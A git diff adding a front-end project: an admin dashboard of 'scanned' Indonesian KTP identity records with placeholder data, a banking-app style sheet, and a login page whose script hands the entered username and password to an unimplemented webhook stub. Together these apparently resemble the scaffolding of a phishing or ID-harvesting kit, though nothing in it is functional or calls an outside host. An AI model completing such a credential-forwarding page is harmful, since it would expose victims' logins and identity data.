diff --git a/dashboard-admin-ktp/index.html b/dashboard-admin-ktp/index.html new file mode 100644 index 0000000..f202322 --- /dev/null +++ b/dashboard-admin-ktp/index.html @@ -0,0 +1,100 @@ + + + + + + Admin Dashboard + + + + +
+

Admin Dashboard

+ +
+
+
+
+

Total KTPs Scanned:

+

0

+
+
+

Originating Regions:

+ +
+
+
+

KTP List

+ + + + + + + + + + + +
NIKNameEmailPhone Number
+
+ + + + +
+ + + diff --git a/dashboard-admin-ktp/script.js b/dashboard-admin-ktp/script.js new file mode 100644 index 0000000..5574b74 --- /dev/null +++ b/dashboard-admin-ktp/script.js @@ -0,0 +1,89 @@ +document.addEventListener('DOMContentLoaded', function() { + // Placeholder data + const totalKtps = 500; + const regions = ['Jakarta', 'Surabaya', 'Medan', 'Bandung']; + const ktpList = [ + { nik: '1234567890', name: 'John Doe', email: 'john.doe@example.com', phone: '081234567890' }, + { nik: '9876543210', name: 'Jane Smith', email: 'jane.smith@example.com', phone: '089876543210' }, + { nik: '1122334455', name: 'Peter Jones', email: 'peter.jones@example.com', phone: '081122334455' } + ]; + + // Update summary section + document.getElementById('total-ktps').textContent = totalKtps; + + // Chart.js setup + const regionsChartCanvas = document.getElementById('regions-chart').getContext('2d'); + const regionsChart = new Chart(regionsChartCanvas, { + type: 'bar', + data: { + labels: regions, + datasets: [{ + label: 'Number of KTPs', + data: [150, 120, 100, 80], // Placeholder data + backgroundColor: '#2A64FC' + }] + }, + options: { + scales: { + y: { + beginAtZero: true + } + } + } + }); + + // Update KTP list table + const ktpTableBody = document.getElementById('ktp-table-body'); + ktpList.forEach(ktp => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${ktp.nik} + ${ktp.name} + ${ktp.email} + ${ktp.phone} + `; + tr.addEventListener('click', function() { + showKtpDetails(ktp); + }); + ktpTableBody.appendChild(tr); + }); + + function showKtpDetails(ktp) { + document.getElementById('ktp-nik').textContent = ktp.nik; + document.getElementById('ktp-name').textContent = ktp.name; + document.getElementById('ktp-email').textContent = ktp.email; + document.getElementById('ktp-phone').textContent = ktp.phone; + + // Get the modal + var modal = document.getElementById("ktp-modal"); + + // Get the element that closes the modal + var span = document.getElementsByClassName("close")[0]; + + // When the user clicks on the button, open the modal + modal.style.display = "block"; + + // When the user clicks on (x), close the modal + span.onclick = function() { + modal.style.display = "none"; + } + + // When the user clicks anywhere outside of the modal, close it + window.onclick = function(event) { + if (event.target == modal) { + modal.style.display = "none"; + } + } + } + + // Logout button functionality + document.getElementById('logout-button').addEventListener('click', function() { + // Redirect to login page + window.location.href = '../page-collection/index.html'; + }); + + // Export to Excel button functionality (placeholder) + document.getElementById('export-button').addEventListener('click', function() { + alert('Export to Excel functionality will be implemented later.'); + }); +}); diff --git a/dashboard-admin-ktp/style.css b/dashboard-admin-ktp/style.css new file mode 100644 index 0000000..1bf769f --- /dev/null +++ b/dashboard-admin-ktp/style.css @@ -0,0 +1,157 @@ +body { + font-family: "Inter, sans-serif"; + background-color: #F0F5FF; + margin: 0; + padding: 0; + background: linear-gradient(to bottom, #F0F5FF, #E1E8F2); +} + +header { + background-color: rgba(255, 255, 255, 0.8); + color: #1F2937; + padding: 20px; + display: flex; + justify-content: space-between; + align-items: center; + border-radius: 16px; + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); + backdrop-filter: blur(10px); +} + +header h1 { + margin: 0; + text-align: left; + font-weight: 600; +} + +#logout-button { + margin-left: auto; + background-color: rgba(42, 100, 252, 0.7); + color: #FFFFFF; + padding: 10px 20px; + border-radius: 20px; + font-size: 16px; + font-weight: 500; + cursor: pointer; + border: none; + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); +} + +#logout-button:hover { + background-color: rgba(30, 76, 214, 0.7); +} + +main { + padding: 20px; +} + +#summary { + margin-bottom: 20px; + display: flex; +} + +.summary-item { + background-color: rgba(255, 255, 255, 0.8); + border-radius: 16px; + padding: 20px; + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); + margin-bottom: 10px; + width: 50%; + box-sizing: border-box; + backdrop-filter: blur(10px); +} + +.summary-item:first-child { + margin-right: 10px; +} + +.summary-item:last-child { + margin-left: 10px; +} + +table { + width: 100%; + border-collapse: collapse; + border-radius: 16px; + overflow: hidden; + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); +} + +th, td { + padding: 12px 15px; + text-align: left; + border-bottom: 1px solid #E5E7EB; +} + +th { + font-weight: 600; + background-color: rgba(255, 255, 255, 0.5); +} + +tbody tr:nth-child(even) { + background-color: rgba(240, 245, 255, 0.5); +} + +#export-button { + background-color: rgba(42, 100, 252, 0.7); + color: #FFFFFF; + padding: 12px 24px; + border-radius: 24px; + font-size: 18px; + font-weight: 600; + cursor: pointer; + border: none; + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); +} + +#export-button:hover { + background-color: rgba(30, 76, 214, 0.7); +} + +/* The Modal (background) */ +.modal { + display: none; /* Hidden by default */ + position: fixed; /* Stay in place */ + z-index: 1; /* Sit on top */ + left: 0; + top: 0; + width: 100%; /* Full width */ + height: 100%; /* Full height */ + overflow: auto; /* Enable scroll if needed */ + background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ +} + +/* Modal Content/Box */ +.modal-content { + background-color: rgba(255, 255, 255, 0.9); + margin: 15% auto; /* 15% from the top and centered */ + padding: 20px; + border: 1px solid #888; + width: 80%; /* Could be more or less, depending on screen size */ + border-radius: 16px; + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); + backdrop-filter: blur(10px); +} + +/* The Close Button */ +.close { + color: #aaa; + float: right; + font-size: 28px; + font-weight: bold; +} + +.close:hover, +.close:focus { + color: black; + text-decoration: none; + cursor: pointer; +} + +#ktp-image { + max-width: 200px; + height: auto; + margin-bottom: 10px; + border-radius: 8px; + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); +} diff --git a/design-styles.json b/design-styles.json new file mode 100644 index 0000000..26175fb --- /dev/null +++ b/design-styles.json @@ -0,0 +1,190 @@ +{ + "designName": "BankingApp", + "designType": "Mobile App UI", + "targetPlatform": "Website (responsive adaptation)", + "colorPalette": { + "primaryBlue": "#2A64FC", + "lightBlueBackground": "#F0F5FF", + "white": "#FFFFFF", + "grayText": "#6B7280", + "darkText": "#1F2937", + "successGreen": "#4CAF50", + "gradientBlue": "linear-gradient(90deg, #2A64FC 0%, #6E94F8 100%)", + "pinkPiggyBank": "#FF6B8B", + "goldCoin": "#FFD700" + }, + "typography": { + "fontFamily": "Inter, sans-serif", + "heading1": { + "fontSize": "28px", + "fontWeight": "700", + "lineHeight": "1.2" + }, + "heading2": { + "fontSize": "20px", + "fontWeight": "600", + "lineHeight": "1.3" + }, + "bodyText": { + "fontSize": "16px", + "fontWeight": "400", + "lineHeight": "1.5" + }, + "smallText": { + "fontSize": "14px", + "fontWeight": "400", + "lineHeight": "1.4" + }, + "captionText": { + "fontSize": "12px", + "fontWeight": "400", + "lineHeight": "1.3" + } + }, + "components": { + "global": { + "borderRadius": "16px", + "shadow": "0px 4px 20px rgba(0, 0, 0, 0.05)" + }, + "buttons": { + "primaryButton": { + "backgroundColor": "#2A64FC", + "color": "#FFFFFF", + "padding": "12px 24px", + "borderRadius": "24px", + "fontSize": "18px", + "fontWeight": "600", + "hover": { + "backgroundColor": "#1E4CD6" + } + }, + "secondaryButton": { + "backgroundColor": "#EEF5FF", + "color": "#2A64FC", + "padding": "10px 20px", + "borderRadius": "20px", + "fontSize": "16px", + "fontWeight": "500", + "hover": { + "backgroundColor": "#D6E9FF" + } + }, + "iconButton": { + "backgroundColor": "transparent", + "color": "#6B7280", + "padding": "8px", + "borderRadius": "50%", + "hover": { + "backgroundColor": "#F0F2F5" + } + } + }, + "cards": { + "baseCard": { + "backgroundColor": "#FFFFFF", + "borderRadius": "16px", + "padding": "20px", + "boxShadow": "0px 4px 15px rgba(0, 0, 0, 0.05)" + }, + "balanceDisplayCard": { + "backgroundColor": "#EEF5FF", + "padding": "20px", + "borderRadius": "16px" + }, + "successMessageCard": { + "backgroundColor": "#FFFFFF", + "borderRadius": "20px", + "padding": "30px 20px", + "textAlign": "center", + "boxShadow": "0px 8px 30px rgba(0, 0, 0, 0.1)" + }, + "cardDetailsInputCard": { + "backgroundColor": "#FFFFFF", + "borderRadius": "16px", + "padding": "20px", + "boxShadow": "0px 4px 15px rgba(0, 0, 0, 0.05)" + } + }, + "navigation": { + "topHeader": { + "backgroundColor": "transparent", + "padding": "20px", + "display": "flex", + "justifyContent": "space-between", + "alignItems": "center", + "color": "#1F2937" + } + }, + "forms": { + "inputField": { + "backgroundColor": "#F8F9FA", + "border": "1px solid #D1D5DB", + "borderRadius": "8px", + "padding": "12px 15px", + "fontSize": "16px", + "color": "#1F2937", + "placeholderColor": "#9CA3AF" + }, + "dropdown": { + "backgroundColor": "#F8F9FA", + "border": "1px solid #D1D5DB", + "borderRadius": "8px", + "padding": "10px 15px", + "fontSize": "14px" + } + }, + "charts": { + "lineChart": { + "lineColor": "#2A64FC", + "fillColor": "rgba(42, 100, 252, 0.1)", + "gridColor": "#E5E7EB", + "labelColor": "#6B7280", + "tooltipBackgroundColor": "#1F2937", + "tooltipTextColor": "#FFFFFF" + }, + "barChart": { + "barColor": "#2A64FC", + "labelColor": "#6B7280", + "increaseColor": "#4CAF50" + } + }, + "illustrations": { + "piggyBank": { + "width": "200px", + "height": "auto", + "shadow": "0px 10px 30px rgba(0, 0, 0, 0.15)" + } + } + }, + "layouts": { + "activityScreen": { + "backgroundColor": "#F0F5FF", + "paddingTop": "20px", + "paddingHorizontal": "20px", + "sectionsGap": "25px" + }, + "successScreen": { + "backgroundColor": "#2A64FC", + "paddingTop": "80px", + "paddingHorizontal": "20px", + "contentVerticalAlign": "center", + "imageContainerFlex": "1", + "cardContainerFlex": "1.5" + }, + "cardDetailsScreen": { + "backgroundColor": "#F0F5FF", + "paddingTop": "20px", + "paddingHorizontal": "20px", + "sectionsGap": "20px" + } + }, + "icons": [ + "Left arrow (back)", + "Share", + "Calendar", + "Credit Card (Mastercard/Visa)", + "Eye (show/hide CVC)", + "Checkmark (success message)", + "Credit Card Placeholder (for Add Now button)" + ] +} \ No newline at end of file diff --git a/page-collection/index.html b/page-collection/index.html new file mode 100644 index 0000000..40f8c07 --- /dev/null +++ b/page-collection/index.html @@ -0,0 +1,26 @@ + + + + + + Login Page + + + + + + + diff --git a/page-collection/script.js b/page-collection/script.js new file mode 100644 index 0000000..9a77462 --- /dev/null +++ b/page-collection/script.js @@ -0,0 +1,24 @@ +document.addEventListener('DOMContentLoaded', function() { + const loginForm = document.getElementById('login-form'); + + loginForm.addEventListener('submit', function(event) { + event.preventDefault(); + + const username = document.getElementById('username').value; + const password = document.getElementById('password').value; + + if (username === '' || password === '') { + alert('Please enter both username and password.'); + return; + } + + // Webhook integration (to be implemented later) + sendDataToWebhook(username, password); + }); + + function sendDataToWebhook(username, password) { + // This function will be implemented later when the webhook URL is provided + console.log('Sending data to webhook:', username, password); + alert('Login functionality will be implemented with webhook.'); + } +}); diff --git a/page-collection/style.css b/page-collection/style.css new file mode 100644 index 0000000..228981d --- /dev/null +++ b/page-collection/style.css @@ -0,0 +1,65 @@ +body { + font-family: "Inter, sans-serif"; + background-color: #F0F5FF; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; + margin: 0; +} + +.login-container { + background-color: #FFFFFF; + border-radius: 16px; + padding: 40px; + box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.05); + width: 300px; + text-align: center; +} + +.login-container h1 { + font-size: 28px; + font-weight: 700; + margin-bottom: 20px; + color: #FF6B8B; +} + +.form-group { + margin-bottom: 20px; + text-align: left; +} + +.form-group label { + display: block; + font-size: 16px; + font-weight: 400; + color: #6B7280; + margin-bottom: 5px; +} + +.form-group input { + width: 100%; + padding: 12px 15px; + font-size: 16px; + color: #1F2937; + background-color: #F8F9FA; + border: 1px solid #D1D5DB; + border-radius: 8px; + box-sizing: border-box; +} + +.primary-button { + background-color: #FF6B8B; + color: #FFFFFF; + padding: 12px 24px; + border-radius: 24px; + font-size: 18px; + font-weight: 600; + cursor: pointer; + border: none; + width: 100%; +} + +.primary-button:hover { + background-color: #1E4CD6; +}